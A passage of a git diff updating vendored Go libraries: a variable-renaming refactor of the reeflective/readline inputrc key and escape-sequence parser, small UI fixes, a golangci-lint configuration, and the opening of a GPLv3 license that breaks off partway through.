@@ -415,6 +479,7 @@ func (tok token) String() string {
case tokenConstruct:
return "construct"
}
+
return fmt.Sprintf("token(%d)", tok)
}
@@ -431,22 +496,26 @@ func findEnd(r []rune, i, end int) int {
for c := grab(r, i+1, end); i < end && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); i++ {
c = grab(r, i+1, end)
}
+
return i
}
// findStringEnd finds end of the string, returning end if not found.
-func findStringEnd(r []rune, i, end int) (int, bool) {
- quote, c := r[i], rune(0)
- for i++; i < end; i++ {
- switch c = r[i]; {
- case c == '\\':
- i++
+func findStringEnd(seq []rune, pos, end int) (int, bool) {
+ var char rune
+ quote := seq[pos]
+
+ for pos++; pos < end; pos++ {
+ switch char = seq[pos]; {
+ case char == '\\':
+ pos++
continue
- case c == quote:
- return i + 1, true
+ case char == quote:
+ return pos + 1, true
}
}
- return i, false
+
+ return pos, false
}
// grab returns r[i] when i < end, 0 otherwise.
@@ -454,62 +523,70 @@ func grab(r []rune, i, end int) rune {
if i < end {
return r[i]
}
+
return 0
}
// decodeKey decodes named key sequence.
-func decodeKey(r []rune, i, end int) (string, int, error) {
+func decodeKey(seq []rune, pos, end int) (string, int, error) {
// seek end of sequence
- start := i
- for c := grab(r, i+1, end); i < end && c != ':' && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); i++ {
- c = grab(r, i+1, end)
+ start := pos
+ for c := grab(seq, pos+1, end); pos < end && c != ':' && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); pos++ {
+ c = grab(seq, pos+1, end)
}
- s := strings.ToLower(string(r[start:i]))
+
+ val := strings.ToLower(string(seq[start:pos]))
meta, control := false, false
- for i := strings.Index(s, "-"); i != -1; i = strings.Index(s, "-") {
- switch s[:i] {
+
+ for idx := strings.Index(val, "-"); idx != -1; idx = strings.Index(val, "-") {
+ switch val[:idx] {
case "control", "ctrl", "c":
control = true
case "meta", "m":
meta = true
default:
- return "", i, ErrUnknownModifier
+ return "", idx, ErrUnknownModifier
}
- s = s[i+1:]
+
+ val = val[idx+1:]
}
- var c rune
- switch s {
+
+ var char rune
+
+ switch val {
case "":
- return "", i, nil
+ return "", pos, nil
case "delete", "del", "rubout":
- c = Delete
+ char = Delete
case "escape", "esc":
- c = Esc
+ char = Esc
case "newline", "linefeed", "lfd":
- c = Newline
+ char = Newline
case "return", "ret":
- c = Return
+ char = Return
case "tab":
- c = Tab
+ char = Tab
case "space", "spc":
- c = Space
+ char = Space
case "formfeed", "ffd":
- c = Formfeed
+ char = Formfeed
case "vertical", "vrt":
- c = Vertical
+ char = Vertical
default:
- c, _ = utf8.DecodeRuneInString(s)
+ char, _ = utf8.DecodeRuneInString(val)
}
+
switch {
case control && meta:
- return string([]rune{Esc, Encontrol(c)}), i, nil
+ return string([]rune{Esc, Encontrol(char)}), pos, nil
case control:
- c = Encontrol(c)
+ char = Encontrol(char)
case meta:
- c = Enmeta(c)
+ char = Enmeta(char)
}
- return string(c), i, nil
+
+ return string(char), pos, nil
}
/*
@@ -540,87 +617,94 @@ func decodeRunes(r []rune, i, end int) string {
// unescapeRunes decodes escaped string sequence.
func unescapeRunes(r []rune, i, end int) string {
- var s []rune
- var c0, c1, c2, c3, c4, c5 rune
+ var seq []rune
+ var char0, char1, char2, char3, char4, char5 rune
+
for ; i < end; i++ {
- if c0 = r[i]; c0 == '\\' {
- c1, c2, c3, c4, c5 = grab(r, i+1, end), grab(r, i+2, end), grab(r, i+3, end), grab(r, i+4, end), grab(r, i+5, end)
+ if char0 = r[i]; char0 == '\\' {
+ char1, char2, char3, char4, char5 = grab(r, i+1, end), grab(r, i+2, end), grab(r, i+3, end), grab(r, i+4, end), grab(r, i+5, end)
+
switch {
- case c1 == 'a': // \a alert (bell)
- s = append(s, Alert)
+ case char1 == 'a': // \a alert (bell)
+ seq = append(seq, Alert)
i++
- case c1 == 'b': // \b backspace
- s = append(s, Backspace)
+ case char1 == 'b': // \b backspace
+ seq = append(seq, Backspace)
i++
- case c1 == 'd': // \d delete
- s = append(s, Delete)
+ case char1 == 'd': // \d delete
+ seq = append(seq, Delete)
i++
- case c1 == 'e': // \e escape
- s = append(s, Esc)
+ case char1 == 'e': // \e escape
+ seq = append(seq, Esc)
i++
- case c1 == 'f': // \f form feed
- s = append(s, Formfeed)
+ case char1 == 'f': // \f form feed
+ seq = append(seq, Formfeed)
i++
- case c1 == 'n': // \n new line
- s = append(s, Newline)
+ case char1 == 'n': // \n new line
+ seq = append(seq, Newline)
i++
- case c1 == 'r': // \r carriage return
- s = append(s, Return)
+ case char1 == 'r': // \r carriage return
+ seq = append(seq, Return)
i++
- case c1 == 't': // \t tab
- s = append(s, Tab)
+ case char1 == 't': // \t tab
+ seq = append(seq, Tab)
i++
- case c1 == 'v': // \v vertical
- s = append(s, Vertical)
+ case char1 == 'v': // \v vertical
+ seq = append(seq, Vertical)
i++
- case c1 == '\\', c1 == '"', c1 == '\'': // \\ \" \' literal
- s = append(s, c1)
+ case char1 == '\\', char1 == '"', char1 == '\'': // \\ \" \' literal
+ seq = append(seq, char1)
i++
- case c1 == 'x' && hexDigit(c2) && hexDigit(c3): // \xHH hex
- s = append(s, hexVal(c2)<<4|hexVal(c3))
+ case char1 == 'x' && hexDigit(char2) && hexDigit(char3): // \xHH hex
+ seq = append(seq, hexVal(char2)<<4|hexVal(char3))
i += 2
- case c1 == 'x' && hexDigit(c2): // \xH hex
- s = append(s, hexVal(c2))
+ case char1 == 'x' && hexDigit(char2): // \xH hex
+ seq = append(seq, hexVal(char2))
i++
- case octDigit(c1) && octDigit(c2) && octDigit(c3): // \nnn octal
- s = append(s, (c1-'0')<<6|(c2-'0')<<3|(c3-'0'))
+ case octDigit(char1) && octDigit(char2) && octDigit(char3): // \nnn octal
+ seq = append(seq, (char1-'0')<<6|(char2-'0')<<3|(char3-'0'))
i += 3
- case octDigit(c1) && octDigit(c2): // \nn octal
- s = append(s, (c1-'0')<<3|(c2-'0'))
+ case octDigit(char1) && octDigit(char2): // \nn octal
+ seq = append(seq, (char1-'0')<<3|(char2-'0'))
i += 2
- case octDigit(c1): // \n octal
- s = append(s, c1-'0')
+ case octDigit(char1): // \n octal
+ seq = append(seq, char1-'0')
i++
- case ((c1 == 'C' && c4 == 'M') || (c1 == 'M' && c4 == 'C')) && c2 == '-' && c3 == '\\' && c5 == '-':
+ case ((char1 == 'C' && char4 == 'M') || (char1 == 'M' && char4 == 'C')) && char2 == '-' && char3 == '\\' && char5 == '-':
// \C-\M- or \M-\C- control meta prefix
- if c6 := grab(r, i+6, end); c6 != 0 {
- s = append(s, Esc, Encontrol(c6))
+ if c6 := grab(r, i+metaSeqLength, end); c6 != 0 {
+ seq = append(seq, Esc, Encontrol(c6))
}
+
i += 6
- case c1 == 'C' && c2 == '-': // \C- control prefix
- if c3 == '?' {
- s = append(s, Delete)
+ case char1 == 'C' && char2 == '-': // \C- control prefix
+ if char3 == '?' {
+ seq = append(seq, Delete)
} else {
- s = append(s, Encontrol(c3))
+ seq = append(seq, Encontrol(char3))
}
+
i += 3
- case c1 == 'M' && c2 == '-': // \M- meta prefix
- if c3 == 0 {
- s = append(s, Esc)
+ case char1 == 'M' && char2 == '-': // \M- meta prefix
+ if char3 == 0 {
+ seq = append(seq, Esc)
i += 2
} else {
- s = append(s, Enmeta(c3))
+ seq = append(seq, Enmeta(char3))
i += 3
}
default:
- s = append(s, c1)
+ seq = append(seq, char1)
i++
}
+
continue
}
- s = append(s, c0)
+
+ seq = append(seq, char0)
}
- return string(s)
+
+ return string(seq)
}
// octDigit returns true when r is 0-7.
@@ -634,14 +718,15 @@ func hexDigit(c rune) bool {
}
// hexVal converts a rune to its hex value.
-func hexVal(c rune) rune {
+func hexVal(char rune) rune {
switch {
- case 'a' <= c && c <= 'f':
- return c - 'a' + 10
- case 'A' <= c && c <= 'F':
- return c - 'A' + 10
+ case 'a' <= char && char <= 'f':
+ return char - 'a' + hexValNum
+ case 'A' <= char && char <= 'F':
+ return char - 'A' + hexValNum
}
- return c - '0'
+
+ return char - '0'
}
// expandIncludePath handles tilde home directory expansion in $include path directives.
diff --git a/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc b/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc
new file mode 100644
index 0000000000..cae93ca759
--- /dev/null
+++ b/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc
@@ -0,0 +1,12 @@
+app: usql
+term: xterm-256
+mode: vi
+####----####
+set editing-mode vi
+set vi-ins-mode-string "\1\e[4 q\2"
+set my-other-string 'a b'
+####----####
+vars:
+ editing-mode: vi
+ my-other-string: 'a b'
+ vi-ins-mode-string: "\1\e[4 q\2"
diff --git a/vendor/github.com/reeflective/readline/internal/completion/group.go b/vendor/github.com/reeflective/readline/internal/completion/group.go
index 2298baf79f..cd1eecc4bf 100644
--- a/vendor/github.com/reeflective/readline/internal/completion/group.go
+++ b/vendor/github.com/reeflective/readline/internal/completion/group.go
@@ -327,7 +327,6 @@ func (g *group) longestValueDescribed(vals []Candidate) int {
if val.descLen > longestDesc {
longestDesc = val.descLen
-
}
if val.descLen > longestDesc {
@@ -344,7 +343,7 @@ func (g *group) longestValueDescribed(vals []Candidate) int {
}
// Always add one: there is at least one space between each column.
- return longestVal + longestDesc + 1
+ return longestVal + longestDesc + 2
}
func (g *group) trimDisplay(comp Candidate, pad, col int) (candidate, padded string) {
diff --git a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go
index 2f7d476f30..c52ce8896e 100644
--- a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go
+++ b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go
@@ -15,6 +15,7 @@ func (c CursorStyle) String() string {
if !found {
return string(cursorUserDefault)
}
+
return cursor
}
@@ -49,10 +50,6 @@ var defaultCursors = map[Mode]CursorStyle{
// PrintCursor prints the cursor for the given keymap mode,
// either default value or the one specified in inputrc file.
-// TODO: I've been quite vicious here, I need to admit: the logic
-// is not made to use the default user cursor in insert-mode.
-// It didn't bother. And if that can help some getting to use
-// .inputrc, so be it.
func (m *Engine) PrintCursor(keymap Mode) {
var cursor CursorStyle
@@ -65,8 +62,8 @@ func (m *Engine) PrintCursor(keymap Mode) {
return
}
- if cursor, valid := defaultCursors[keymap]; valid {
- fmt.Print(cursors[cursor])
+ if defaultCur, valid := defaultCursors[keymap]; valid {
+ fmt.Print(cursors[defaultCur])
return
}
diff --git a/vendor/github.com/reeflective/readline/internal/ui/prompt.go b/vendor/github.com/reeflective/readline/internal/ui/prompt.go
index 44ef0ac0ff..43774efe59 100644
--- a/vendor/github.com/reeflective/readline/internal/ui/prompt.go
+++ b/vendor/github.com/reeflective/readline/internal/ui/prompt.go
@@ -249,8 +249,10 @@ func (p *Prompt) formatLastPrompt(prompt string) string {
begin := regexp.MustCompile(`\\1`)
end := regexp.MustCompile(`\\2`)
+ // Remove delimiters, and replace quoted escape sequences
status = begin.ReplaceAllString(status, "")
status = end.ReplaceAllString(status, "")
+ status = strings.ReplaceAll(status, "\\e", "\x1b")
return status + prompt
}
diff --git a/vendor/github.com/reeflective/team/.golangci.yml b/vendor/github.com/reeflective/team/.golangci.yml
new file mode 100644
index 0000000000..1ebc61822f
--- /dev/null
+++ b/vendor/github.com/reeflective/team/.golangci.yml
@@ -0,0 +1,455 @@
+
+# ************************************************************************************* #
+# Golang CI Lint Global Configuration #
+# ************************************************************************************* #
+
+# This configuration is divided into several subsections:
+# - Options for analysis running
+# - Enabled/disabled linters
+# - Other exclusions & Issues management
+# - Issues severity management
+# - Per-linter configurations
+
+#
+# -------------------------- Options for analysis running -------------------------- #
+#
+run:
+ #
+ # ***** Tests ****
+ #
+ # Include test files or not.
+ # Default: true
+ tests: true
+
+ #
+ # ***** Ignored directories, files & patterns *****
+ #
+ # Which dirs to skip: issues from them won't be reported.
+ # Can use regexp here: `generated.*`, regexp is applied on full path.
+ # Default value is empty list,
+ # but default dirs are skipped independently of this option's value (see skip-dirs-use-default).
+ # "/" will be replaced by current OS file path separator to properly work on Windows.
+ # skip-dirs:
+
+ # Enables skipping of directories:
+ # - vendor$, third_party$, testdata$, examples$, Godeps$, builtin$
+ # Default: true
+ skip-dirs-use-default: true
+
+ # Which files to skip: they will be analyzed, but issues from them won't be reported.
+ # Default value is empty list,
+ # but there is no need to include all autogenerated files,
+ # we confidently recognize autogenerated files.
+ # If it's not please let us know.
+ # "/" will be replaced by current OS file path separator to properly work on Windows.
+ # skip-files:
+ # - ".*\\.my\\.go$"
+ # - lib/bad.go
+
+ #
+ # ***** Dependencies & Modules *****
+ #
+ # If set we pass it to "go list -mod={option}". From "go help modules":
+ # If invoked with -mod=readonly, the go command is disallowed from the implicit
+ # automatic updating of go.mod described above. Instead, it fails when any changes
+ # to go.mod are needed. This setting is most useful to check that go.mod does
+ # not need updates, such as in a continuous integration and testing system.
+ # If invoked with -mod=vendor, the go command assumes that the vendor
+ # directory holds the correct copies of dependencies and ignores
+ # the dependency descriptions in go.mod.
+ #
+ # Allowed values: readonly|vendor|mod
+ # By default, it isn't set.
+ modules-download-mode: readonly # NOT SURE WHICH ONE TO USE BY DEFAULT
+
+ #
+ # ***** Other *****
+ #
+ # Allow multiple parallel golangci-lint instances running.
+ # If false (default) - golangci-lint acquires file lock on start.
+ allow-parallel-runners: true
+
+ # Specific go build tags
+ build-tags:
+ - go_sqlite
+
+
+#
+# -------------------------- Output Configuration Options --------------------------- #
+#
+# output:
+ # Format: colored-line-number|line-number|json|tab|checkstyle|code-climate|junit-xml|github-actions
+ #
+ # Multiple can be specified by separating them by comma, output can be provided
+ # for each of them by separating format name and path by colon symbol.
+ # Output path can be either `stdout`, `stderr` or path to the file to write to.
+ # Example: "checkstyle:report.json,colored-line-number"
+ #
+ # Default: colored-line-number
+ # format: json
+ # Print lines of code with issue.
+ # Default: true
+ # print-issued-lines: false
+ # Print linter name in the end of issue text.
+ # Default: true
+ # print-linter-name: false
+ # Make issues output unique by line.
+ # Default: true
+ # uniq-by-line: false
+ # Add a prefix to the output file references.
+ # Default is no prefix.
+ # path-prefix: ""
+ # Sort results by: filepath, line and column.
+ # sort-results: false
+
+#
+# ------------------------------------- Linters ------------------------------------ #
+#
+linters:
+ # Disable all linters.
+ # disable-all: true
+
+ # Enable presets. Used to enable entire sets of linters based on their "tags".
+ # Some of these enabled sets might be redundant with the explicitly & individually
+ # enabled linters above, so pay attention to what you want to do.
+ # Also, some linters are explicitly deactived in some section below, which might
+ # be undesired behavior to you.
+ # https://golangci-lint.run/usage/linters
+ presets:
+ - bugs
+ - comment
+ - complexity
+ - error
+ - format
+ - import
+ - metalinter
+ - module
+ - performance
+ # - sql
+ - style
+ - test
+ - unused
+
+ # Enable specific linter
+ # https://golangci-lint.run/usage/linters/#enabled-by-default-linters
+ #
+ # Example line:
+ # - lintername # Description ()
+ # where:
+ # () means the linter is not fast, and not auto-fix capable
+ # (fast) means the linter is only fast
+ # (auto) means the linter can auto-fix its detected issues.
+ #
+ enable:
+ # Linters enabled by default (commented out in list of disabled linters below)
+ # - deadcode # Finds unused code ()
+ - errcheck # Finds unchecked errors in Go programs ()
+ - gosimple # Specializes in simplifying a code ()
+ - govet # Reports suspicious constructs, such as Printf calls with wrong args ()
+ - ineffassign # Detects when assignments to existing variables are not used (fast)
+ - staticcheck # A ton of static analysis checks ()
+ # - structcheck # Finds unused struct fields ()
+ - unused # Checks for unused constants, variables, functions and types ()
+ # - varcheck # Finds unused global variables and constants ()
+
+ # Other linters (not enabled by default, thus optional)
+ # - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs, style)
+ - bidichk # checks for dangerous unicode character sequences (bugs)
+ - bodyclose # checks HTTP response body is closed successfully (perf,bugs)
+ - containedctx # detects struct-contained context.Context field (style)
+ - contextcheck # check the function use a non-inherited context (bugs)
+ - cyclop # checks function and package cyclomatic complexity (cplx)
+ - decorder # checks declaration order/count of types/consts/vars/funcs (fmt,style)
+ # - depguard # checks if imports are in a list of acceptable packages (style,imp,mod)
+ - dogsled # checks assignments with too many blank identifiers (style)
+ - dupl # tool for code clone detection (style)
+ - durationcheck # checks for two durations multiplied together (bugs)
+ - errchkjson # checks types passed to JSON encoding functions & related (bugs)
+ - errname # checks that sentinel errors are prefix with Err (style)
+ - errorlint # finds potential problems with Go 1.13 error wrap scheme (bugs, err)
+ # - exhaustive # checks exhaustiveness of enum switch statements (bugs)
+ # - exhaustivestruct # checks if all struct fields are initialized (style,test)
+ - exportloopref # checks for pointers to enclosing loop variables (bugs)
+ # - forbidigo # Forbids identifiers (style)
+ - forcetypeassert # finds forced type assertions (style)
+ - funlen # tool for detection of long functions (cplx)
+ # - gci # Controls package import order and makes deterministic (fmt,import)
+ # - gochecknoglobals # checks that no global variables exist (style)
+ # - gochecknoinits # checks that no init functions are present (style)
+ - gocognit # computes and checks the cognitive complexity of functions (cplx)
+ - goconst # finds repeated strings that can be replaced by a constant (style)
+ - gocritic # diagnostics for bugs/perf/style issues. Extensible (style,meta)
+ - gocyclo # computes and checks cyclomatic complexity of functions (cplx)
+ - godot # checks if comments end in a period (style,cmt)
+ - godox # tool for detection of FIXME, TODO and other comments (style,cmt)
+ - goerr113 # checks the errors handling expressions (style,err)
+ # - gofmt # formats and checks for code simplification (fmt)
+ - gofumpt # checks whether code was gofumpt-ed (fmt)
+ - goheader # checks if file header matches to pattern (style)
+ - goimports # fixes imports, formats code same as gofmt (fmt,import)
+ # - golint # Deprecated
+ - gomnd # analyzer to detect magic numbers (style)
+ - gomoddirectives # manage replace/retract/excludes directives in go.mod (style,mod)
+ # - gomodguard # allow/block for direct module deps. (style,imp,mod)
+ - goprintffuncname # check that printf-like funcs are named with f at end (style)
+ - gosec # inspect code for security problems (bugs)
+ - grouper # analyzer to analyze expression groups (style)
+ # - ifshort # checks that code uses short syntax for if statements (style)
+ - importas # enforces consistent import aliases (style)
+ # - interfacer # Deprecated
+ - ireturn # accept Interfaces, return Concrete Types (style)
+ # - lll # Report long lines (style)
+ - maintidx # measures the maintainability index of each function (cplx)
+ - makezero # finds slice declarations with non-zero initial length (style,bugs)
+ # - maligned # Deprecated
+ - misspell # finds commonly misspelled English words in comments (style,cmt)
+ - nakedret # finds naked returns in functions greater than spec len (style)
+ - nestif # reports deeply nested if statements (cplx)
+ - nilerr # finds code returning nil even if checks error not nil (bugs)
+ - nilnil # checks no simultaneous return of nil err and invalid value (style)
+ # - nlreturn # checks for a new line before return and branch statements (style)
+ - noctx # fnds sending HTTP requests without context.Context (perf,bugs)
+ - nolintlint # reports ill-formed or insufficient nolint directives (style)
+ - paralleltest # detects missing usage of t.Parallel() in your tests (style,test)
+ - prealloc # finds slice declarations that could be preallocated (perf)
+ - predeclared # finds code shadowing one of Go's predeclared identifiers (style)
+ # - promlinter # checks Prometheus metrics naming via promlint
+ - revive # fast,extensible,flexible linter. Replacement of golint (style,meta)
+ # - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql)
+ # - scopelint # Deprecated
+ # - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql)
+ # - stylecheck # replacement for golint (style)
+ # - tagliatelle # checks struct tags (style)
+ - tenv # detects using os.Setenv instead of t.Setenv since go1.17 (style)
+ # - testpackage # makes you use a separate _test package (style,test)
+ - thelper # detects test helpers without t.Helper(), checks consistent (style)
+ - tparallel # detects inappropriate use of t.Parallel() in your tests (style,test)
+ # - typecheck # Like the front-end of the Go compiler, parses and type-checks Go code ()
+ - unconvert # remove unnecessary type convertions (style)
+ - unparam # reports unused function parameters (unused)
+ - varnamelen # checks that the length of a var name matches its scope (style)
+ - wastedassign # finds wasted assignment statements (style)
+ # - whitespace # detection of leading and trailing whitespace (style)
+ # - wrapcheck # checks errors returned from external packages are wrapped (style,err)
+ - wsl # forces you to use empty lines ! (style)
+
+ # Enable all available linters.
+ # enable-all: true
+
+ # Disable specific linter
+ # https://golangci-lint.run/usage/linters/#disabled-by-default-linters--e--enable
+ disable:
+ # Linters enabled by default (commented out in list of disabled linters below)
+ # - deadcode
+ # - errcheck
+ # - gosimple
+ # - govet
+ # - ineffassign
+ # - staticcheck
+ # - structcheck
+ - typecheck
+ # - unused
+ # - varcheck
+
+ # Deactivated linters above (explicitly deactived here, so that `presets` section
+ # above does not activate them again)
+ - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs,style)
+ - depguard # checks if imports are in list of acceptable pkgs (style,imp,mod)
+ - exhaustive # checks exhaustiveness of enum switch statements (bugs)
+ - exhaustruct # checks if all struct fields are initialized (style,test)
+ - exhaustivestruct # checks if all struct fields are initialized (style,test)
+ - forbidigo # Forbids identifiers (style)
+ - gochecknoglobals # checks that no global variables exist (style)
+ - gochecknoinits # checks that no init functions are present (style)
+ - lll # Report long lines (style)
+ - promlinter # checks Prometheus metrics naming via promlint
+ - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql)
+ - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql)
+ - stylecheck # replacement for golint (style)
+ - testpackage # makes you use a separate _test package (style,test)
+ - whitespace # detection of leading and trailing whitespace (style)
+ - nonamedreturns
+ - scopelint # Deprecated
+ - nlreturn # checks for a new line before return and branch statements (style)
+ - ifshort # checks that code uses short syntax for if statements (style)
+ - deadcode # Finds unused code ()
+ - structcheck # Finds unused struct fields ()
+ - varcheck # Finds unused global variables and constants ()
+ - gomodguard # allow/block for direct module deps. (style,imp,mod)
+ - musttag
+ - wrapcheck # checks errors returned from external packages are wrapped (style,err)
+ - tagliatelle # checks struct tags (style)
+ - gofmt # formats and checks for code simplification (fmt)
+ # - gofumpt # checks whether code was gofumpt-ed (fmt)
+ # - goimports # fixes imports, formats code same as gofmt (fmt,import)
+
+ # Run only fast linters from enabled linters set (first run won't be fast)
+ # Default: false
+ # fast: true
+
+
+#
+# --------------------------------- Linter settings ------------------------------------ #
+#
+
+# This file contains only configs which differ from defaults.
+# All possible options can be found here https://github.com/golangci/golangci-lint/blob/master/.golangci.reference.yml
+linters-settings:
+ cyclop:
+ # The maximal code complexity to report.
+ # Default: 10
+ max-complexity: 30
+ # The maximal average package complexity.
+ # If it's higher than 0.0 (float) the check is enabled
+ # Default: 0.0
+ package-average: 10.0
+
+ errcheck:
+ # Report about not checking of errors in type assertions: `a := b.(MyStruct)`.
+ # Such cases aren't reported by default.
+ # Default: false
+ check-type-assertions: true
+
+ exhaustive:
+ # Program elements to check for exhaustiveness.
+ # Default: [ switch ]
+ check:
+ - switch
+ - map
+
+ funlen:
+ # Checks the number of lines in a function.
+ # If lower than 0, disable the check.
+ # Default: 60
+ lines: 100
+ # Checks the number of statements in a function.
+ # If lower than 0, disable the check.
+ # Default: 40
+ statements: 50
+
+ gocognit:
+ # Minimal code complexity to report
+ # Default: 30 (but we recommend 10-20)
+ min-complexity: 30
+
+ wsl:
+ allow-cuddle-declarations: true
+ allow-separated-leading-comment: true
+
+ paralleltest:
+ ignore-missing: true
+
+ goimports:
+ local-prefixes: github.com/reeflective/team
+
+#
+# ----------------------- Other exclusions & Issues management -------------------------- #
+#
+issues:
+ # List of regexps of issue texts to exclude.
+ #
+ # But independently of this option we use default exclude patterns,
+ # it can be disabled by `exclude-use-default: false`.
+ # To list all excluded by default patterns execute `golangci-lint run --help`
+ #
+ # Default: []
+ # exclude:
+ # - abcdef
+
+ # Excluding configuration per-path, per-linter, per-text and per-source
+ exclude-rules:
+ # Exclude some linters from running on tests files.
+ - path: _test\.go
+ linters:
+ - gocyclo
+ - errcheck
+ - dupl
+ - gosec
+
+ # Exclude known linters from partially hard-vendored code,
+ # which is impossible to exclude via `nolint` comments.
+ # - path: internal/hmac/
+ # text: "weak cryptographic primitive"
+ # linters:
+ # - gosec
+
+ # Exclude some `staticcheck` messages.
+ # - linters:
+ # - staticcheck
+ # text: "SA9003:"
+
+ # Exclude `lll` issues for long lines with `go:generate`.
+ - linters:
+ - lll
+ source: "^//go:generate "
+
+ # Independently of option `exclude` we use default exclude patterns,
+ # it can be disabled by this option.
+ # To list all excluded by default patterns execute `golangci-lint run --help`.
+ # Default: true.
+ # exclude-use-default: false
+
+ # If set to true exclude and exclude-rules regular expressions become case-sensitive.
+ # Default: false
+ # exclude-case-sensitive: false
+
+ # The list of ids of default excludes to include or disable.
+ # Default: []
+ # include:
+ # - EXC0002 # disable excluding of issues about comments from golint.
+
+ # Maximum issues count per one linter.
+ # Set to 0 to disable.
+ # Default: 50
+ # max-issues-per-linter: 0
+ # Maximum count of issues with the same text.
+ # Set to 0 to disable.
+ # Default: 3
+ max-same-issues: 0
+ # Show only new issues: if there are unstaged changes or untracked files,
+ # only those changes are analyzed, else only changes in HEAD~ are analyzed.
+ # It's a super-useful option for integration of golangci-lint into existing large codebase.
+ # It's not practical to fix all existing issues at the moment of integration:
+ # much better don't allow issues in new code.
+ #
+ # Default: false.
+ new: true
+ # Show only new issues created after git revision `REV`.
+ new-from-rev: HEAD
+ # Show only new issues created in git patch with set file path.
+ new-from-patch: path/to/patch/file
+ # Fix found issues (if it's supported by the linter).
+ fix : true
+
+#
+# ---------------------------- Issues severity manament -------------------------------- #
+#
+# severity:
+ # Set the default severity for issues.
+ #
+ # If severity rules are defined and the issues do not match or no severity is provided to the rule
+ # this will be the default severity applied.
+ # Severities should match the supported severity names of the selected out format.
+ # - Code climate: https://docs.codeclimate.com/docs/issues#issue-severity
+ # - Checkstyle: https://checkstyle.sourceforge.io/property_types.html#severity
+ # - GitHub: https://help.github.com/en/actions/reference/workflow-commands-for-github-actions#setting-an-error-message
+ #
+ # Default value is an empty string.
+ # default-severity: error
+ # If set to true `severity-rules` regular expressions become case-sensitive.
+ # Default: false
+ # case-sensitive: true
+ # When a list of severity rules are provided, severity information will be added to lint issues.
+ # Severity rules have the same filtering capability as exclude rules
+ # except you are allowed to specify one matcher per severity rule.
+ # Only affects out formats that support setting severity information.
+ #
+ # Default: []
+ # rules:
+ # - linters:
+ # - dupl
+ # severity: info
+
+#
+# ---------------------------- Per-linter Configuration -------------------------------- #
+#
diff --git a/vendor/github.com/reeflective/team/LICENSE b/vendor/github.com/reeflective/team/LICENSE
new file mode 100644
index 0000000000..f288702d2f
--- /dev/null
+++ b/vendor/github.com/reeflective/team/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
